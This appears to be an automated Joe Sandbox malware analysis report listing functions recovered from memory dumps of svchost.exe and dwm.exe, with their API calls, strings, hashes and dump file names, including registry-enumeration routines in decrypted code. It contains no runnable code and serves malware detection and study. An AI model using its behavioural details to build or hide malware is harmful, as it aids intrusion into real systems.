API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction ID: d52aa0bc1e528004bbd25824ae56c6a8c8689a2f7ecc8b630764f68c99525a19
Opcode Fuzzy Hash: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction Fuzzy Hash: 83118121B1078197FB10DB25E80D79A62E8F74AF81F884425AE4AA3694EF6CC94DC781

Function 000002A661308070 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(?,?,?,?,?,?,000002A661307BF1), ref: 000002A661308856
capture_previous_context.LIBCMT ref: 000002A66130886E
__raise_securityfailure.LIBCMT ref: 000002A661308910

Strings

_$6Z, xrefs: 000002A6613088E8

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: FeaturePresentProcessor__raise_securityfailurecapture_previous_context
String ID: _$6Z
API String ID: 838830666-452956228
Opcode ID: 5d73ba4cf61c258e47cb3bab5a4b974cfb05aa9f852afdb55bf25e222216e53e
Instruction ID: 2ea59cd195b9cf113dc22e59ecb6197495d658d470353f851a0b0b9b4abbc984
Opcode Fuzzy Hash: 5d73ba4cf61c258e47cb3bab5a4b974cfb05aa9f852afdb55bf25e222216e53e
Instruction Fuzzy Hash: 8821D634B05B0083FB40AB18F86D35876A8F786B44F984125D98FA77A1DF3CC54D9782

Function 000002A6613014A0 Relevance: 6.3, APIs: 5, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A6613014C6
HeapFree.KERNEL32 ref: 000002A6613014D5
GetProcessHeap.KERNEL32 ref: 000002A6613014E2
HeapFree.KERNEL32 ref: 000002A6613014F1
GetProcessHeap.KERNEL32 ref: 000002A661301501

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction ID: 5726c44e6c94a0261d76dd1d18cec12993198ee48d381ce34b9c54260b87f620
Opcode Fuzzy Hash: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction Fuzzy Hash: 64011332A10A90DAEB15DF66A80D24977B9F78AF84B094025DF4A63728DF38D495C741

Function 000002A6613128F4 Relevance: 6.2, APIs: 4, Instructions: 229COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,000002A6613128DF), ref: 000002A661312A12

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction ID: 99fcf29c5a3e963d5d89bff97ca9893eee29e122c75244328e6b095d4ae27092
Opcode Fuzzy Hash: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction Fuzzy Hash: E991BD32B106548AFB609F75995E3AD3BA8F357F98F684106DE4B73A85DF38C4498302

Function 000002A66130E8E0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

Part of subcall function 000002A66130E22C: GetOEMCP.KERNEL32(?,?,?,?,?,?,FFFFFFFD,000002A66130E578), ref: 000002A66130E256

IsValidCodePage.KERNEL32(?,?,?,00000001,?,00000000,?,000002A66130E6A9), ref: 000002A66130E95B
GetCPInfo.KERNEL32(?,?,?,00000001,?,00000000,?,000002A66130E6A9), ref: 000002A66130E99F

Strings

_$6Z, xrefs: 000002A66130E8F6

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: CodeInfoPageValid
String ID: _$6Z
API String ID: 546120528-452956228
Opcode ID: 368bb57caff044830bbb836d0107136edbd08920f66937ca735bdc2bbc321278
Instruction ID: 3b70e38f7f3651a8aed1fd291ae84bff09093ca3b1c53edec682f9b410165f4d
Opcode Fuzzy Hash: 368bb57caff044830bbb836d0107136edbd08920f66937ca735bdc2bbc321278
Instruction Fuzzy Hash: 1F81DDA2B0878087F7748F26A44C369B7E9B34AF41F0C4126D69B67691DF3DC589C382

Function 000002A6613027E8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002A6613028CC
StrCpyW.SHLWAPI ref: 000002A6613028E5

Part of subcall function 000002A661303F88: StrCmpNIW.KERNELBASE(?,?,?,000002A66130272F), ref: 000002A661303FA0

Strings

\\.\pipe\, xrefs: 000002A6613028D7

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction ID: 99e5c642f4f55c8eec009b42682bbf97fdda9b94cf92ee47659fe36c31544b3d
Opcode Fuzzy Hash: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction Fuzzy Hash: CC717F36B00B8147EA75DE369A5C3AA67D8F386FC5F480016DD4B63B89DF39C6488781

Function 000002A6612D80A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A6612D80CB
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A6612D8162

Strings

csm, xrefs: 000002A6612D8149

Memory Dump Source

Source File: 0000000B.00000003.2183186665.000002A6612D0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_2a6612d0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm
API String ID: 3242871069-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: 31519db6ff23ce1643a419b88b66537bc3dc62f726ee5451774d1edecf2df9ac
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: CA51D032F11A408BEB54CB29E44CB6973ADEB56F98F199121DA4A43788DF7CC889D701

Function 000002A6612D9AFC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000002A6612D9BA7

Strings

RCC, xrefs: 000002A6612D9B77
MOC, xrefs: 000002A6612D9B6F

Memory Dump Source

Source File: 0000000B.00000003.2183186665.000002A6612D0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_2a6612d0000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: 388f23e79857dfe91b296cf6aeac947bac3dece2c659ecc246db4c5be46963c7
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: FD619432E04BC486DB719F15E44879AB7A8FB86B88F085215EB9807B95DF7CC1D4CB01

Function 000002A6613025DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002A6613026C2
StrCpyW.SHLWAPI ref: 000002A6613026D9

Strings

\\.\pipe\, xrefs: 000002A6613026CD

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction ID: 6477919070543908b71418fc128ff75b3537499485c48867988c523b9b399bcf
Opcode Fuzzy Hash: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction Fuzzy Hash: D551C626B0478143EA24DE3AA55C3AA67D9F396F91F5C0025DD5B63B8ADF3DC408C781

Function 000002A66130E344 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 000002A66130E394

Strings

, xrefs: 000002A66130E3D7
_$6Z, xrefs: 000002A66130E35E

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: Info
String ID: $_$6Z
API String ID: 1807457897-202897188
Opcode ID: f3a1ccdfc844010f6d6384e8b727e223aafffbf012ce67cb554655a4b1010233
Instruction ID: 5dbc481eb9dbb62ce7a9338736ef3f768b688ad8dc6010521dde16ef15a8b845
Opcode Fuzzy Hash: f3a1ccdfc844010f6d6384e8b727e223aafffbf012ce67cb554655a4b1010233
Instruction Fuzzy Hash: 89519F32B187C08BE7218F35E08C39E7BE4F34AB45F584126E68A57A85DB7CC159CB41

Function 000002A661312544 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002A661312610
GetLastError.KERNEL32 ref: 000002A66131262C

Strings

_$6Z, xrefs: 000002A66131255F

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: _$6Z
API String ID: 442123175-452956228
Opcode ID: 9aaf26f040ad1ec26527c6482f0f95a02a03d15fd00723e3f37292bb076685c6
Instruction ID: 49ecc0358d925df9febc49d76be15aa4082e711f62654576775220482b2729a6
Opcode Fuzzy Hash: 9aaf26f040ad1ec26527c6482f0f95a02a03d15fd00723e3f37292bb076685c6
Instruction Fuzzy Hash: 1E31C072B11A4087DB209F25E98D789B3A8F75AB84F984021EB4E93754EF3CC459CB01

Function 000002A66131243C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002A6613124F4
GetLastError.KERNEL32 ref: 000002A661312510

Strings

_$6Z, xrefs: 000002A661312457

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: _$6Z
API String ID: 442123175-452956228
Opcode ID: 2b49dc1147f62743d5f71a8e2f42af263b7a37484780a08d876dda563020fbab
Instruction ID: eb630162fe33a24f5d6281626ec10f2b64d60a8839e30c3e11cec3fc7e2dbf8b
Opcode Fuzzy Hash: 2b49dc1147f62743d5f71a8e2f42af263b7a37484780a08d876dda563020fbab
Instruction Fuzzy Hash: 5E31D432B14A808BE7109F25E58D389B7A8F35AB80F984021EA4F93715DF3CC419C701

Function 000002A66130DF38 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 000002A66130DF73
GetLastError.KERNEL32 ref: 000002A66130DF7D

Strings

_$6Z, xrefs: 000002A66130DF52

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: _$6Z
API String ID: 2776309574-452956228
Opcode ID: afd8fe68969716b5af19fc5389df831274dd0723d0692592c9853f2af0341627
Instruction ID: ef7ccb93359cf4a03a3856de02cdd955765d71d88785fc35618747266aa0e613
Opcode Fuzzy Hash: afd8fe68969716b5af19fc5389df831274dd0723d0692592c9853f2af0341627
Instruction Fuzzy Hash: 1B318432714B808BE760CB26E44C79E77E8F386B95F584125DA8D57A98DF3CC548CB82

Function 000002A661309178 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002A6613091C8
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,000002A6613087F7), ref: 000002A661309209

Strings

csm, xrefs: 000002A6613091F6

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction ID: 8868535241417ff7c8f5628e2c49a4153ef295f723a1763fb6d4bcb3b3db57a0
Opcode Fuzzy Hash: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction Fuzzy Hash: F5113432714B8082EB248F25E408349B7E9F789B84F584224EA8E17B68DF3CC555CB40

Function 000002A661301D30 Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A661301D69
HeapAlloc.KERNEL32 ref: 000002A661301D77
GetProcessHeap.KERNEL32 ref: 000002A661301D9C
HeapFree.KERNEL32 ref: 000002A661301DAA

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction ID: fd7cdbad17168123059f6f9e7801b7036e0f5ea417c522ca255d78abc129a934
Opcode Fuzzy Hash: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction Fuzzy Hash: 25117921B01B8082EA15DB66A80D25A77B4F78AFC4F5C4028DE4E63725EF3CC4468340

Function 000002A661301264 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A66130126A
HeapAlloc.KERNEL32 ref: 000002A661301279
GetProcessHeap.KERNEL32 ref: 000002A661301293
HeapAlloc.KERNEL32 ref: 000002A6613012A4

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction ID: 8ecaae86ea8fbf70443afad6dbac2875710af732eced0fa57f94f4f3f176b8a9
Opcode Fuzzy Hash: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction Fuzzy Hash: 8FE06531B01A049BEB298F62E80D34936E5FB8AF05F48C024CD0A07360EF7D849D8B81

Function 000002A661301000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A661301006
HeapAlloc.KERNEL32 ref: 000002A661301015
GetProcessHeap.KERNEL32 ref: 000002A661301028
HeapAlloc.KERNEL32 ref: 000002A661301037

Memory Dump Source

Source File: 0000000B.00000002.2312897443.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000B.00000002.2311793344.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2314393434.000002A661315000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2315614620.000002A661320000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2316789237.000002A661322000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2318017893.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction ID: e7f8ee257ebe65d437686030ab6f09756bf5f825d091dd1b30df11599fbc06c6
Opcode Fuzzy Hash: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction Fuzzy Hash: 1EE0ED71B115049BEB199B62D80D25976A5FB8AF15F488034C90A07310EF3C849D9711

Analysis Process: dwm.exePID: 988, Parent PID: 5016COMMON

Execution Graph

Execution Coverage:	1.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	111
Total number of Limit Nodes:	17

Executed Functions

Function 000002BAAED92C80 Relevance: 13.6, APIs: 9, Instructions: 131
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32 ref: 000002BAAED92CAD
TlsGetValue.KERNEL32 ref: 000002BAAED92CBC
TlsGetValue.KERNEL32 ref: 000002BAAED92CCB
NtEnumerateValueKey.NTDLL ref: 000002BAAED92D40
NtEnumerateValueKey.NTDLL ref: 000002BAAED92D76
NtEnumerateValueKey.NTDLL ref: 000002BAAED92DB3
TlsSetValue.KERNEL32 ref: 000002BAAED92E0F
TlsSetValue.KERNEL32 ref: 000002BAAED92E1E
TlsSetValue.KERNEL32 ref: 000002BAAED92E2D

Memory Dump Source

Source File: 0000000E.00000002.2405412924.000002BAAED91000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002BAAED90000, based on PE: true

Associated: 0000000E.00000002.2405294038.000002BAAED90000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405573335.000002BAAEDA5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405695061.000002BAAEDB0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405812778.000002BAAEDB2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2405942174.000002BAAEDB9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2baaed90000_dwm.jbxd

Similarity

API ID: Value$Enumerate
String ID:
API String ID: 3520290360-0
Opcode ID: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction ID: c17fc73092cb7f9d9c5f7f478056b41bb10391d77da142dc39f8b91a468cbae2
Opcode Fuzzy Hash: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction Fuzzy Hash: 2E519F3661461187E764DB1AF848A5AB3B0F788B84F704119DE8E43B94EF3ACD45CB52

Function 000002BAAED91724 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAED9172F
HeapAlloc.KERNEL32 ref: 000002BAAED9173E

Part of subcall function 000002BAAED91264: GetProcessHeap.KERNEL32 ref: 000002BAAED9126A
Part of subcall function 000002BAAED91264: HeapAlloc.KERNEL32 ref: 000002BAAED91279
Part of subcall function 000002BAAED91264: GetProcessHeap.KERNEL32 ref: 000002BAAED91293
Part of subcall function 000002BAAED91264: HeapAlloc.KERNEL32 ref: 000002BAAED912A4

Part of subcall function 000002BAAED91000: GetProcessHeap.KERNEL32 ref: 000002BAAED91006
Part of subcall function 000002BAAED91000: HeapAlloc.KERNEL32 ref: 000002BAAED91015
Part of subcall function 000002BAAED91000: GetProcessHeap.KERNEL32 ref: 000002BAAED91028
Part of subcall function 000002BAAED91000: HeapAlloc.KERNEL32 ref: 000002BAAED91037

RegOpenKeyExW.KERNELBASE ref: 000002BAAED917AE
RegOpenKeyExW.KERNELBASE ref: 000002BAAED917DB
RegCloseKey.ADVAPI32 ref: 000002BAAED917F5
RegOpenKeyExW.KERNELBASE ref: 000002BAAED91815
RegCloseKey.KERNELBASE ref: 000002BAAED91830
RegOpenKeyExW.KERNELBASE ref: 000002BAAED91850
RegCloseKey.ADVAPI32 ref: 000002BAAED9186B
RegOpenKeyExW.KERNELBASE ref: 000002BAAED9188B
RegCloseKey.ADVAPI32 ref: 000002BAAED918A6
RegOpenKeyExW.KERNELBASE ref: 000002BAAED918C6
RegCloseKey.ADVAPI32 ref: 000002BAAED918E1
RegOpenKeyExW.KERNELBASE ref: 000002BAAED91901
RegCloseKey.ADVAPI32 ref: 000002BAAED9191C
RegOpenKeyExW.KERNELBASE ref: 000002BAAED9193C
RegCloseKey.ADVAPI32 ref: 000002BAAED91957
RegOpenKeyExW.KERNELBASE ref: 000002BAAED91977
RegCloseKey.ADVAPI32 ref: 000002BAAED91992
RegCloseKey.KERNELBASE ref: 000002BAAED9199C

Part of subcall function 000002BAAED912B8: RegQueryInfoKeyW.ADVAPI32 ref: 000002BAAED91315
Part of subcall function 000002BAAED912B8: GetProcessHeap.KERNEL32 ref: 000002BAAED91323
Part of subcall function 000002BAAED912B8: HeapAlloc.KERNEL32 ref: 000002BAAED91334
